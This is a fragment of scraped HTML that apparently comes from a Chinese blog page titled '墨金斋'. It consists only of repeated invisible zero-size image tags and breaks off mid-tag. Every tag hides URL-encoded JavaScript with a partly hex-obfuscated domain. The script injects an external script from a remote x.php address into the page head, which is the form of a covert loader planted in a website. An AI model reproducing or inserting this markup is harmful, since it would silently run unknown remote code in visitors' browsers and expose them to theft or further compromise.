lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 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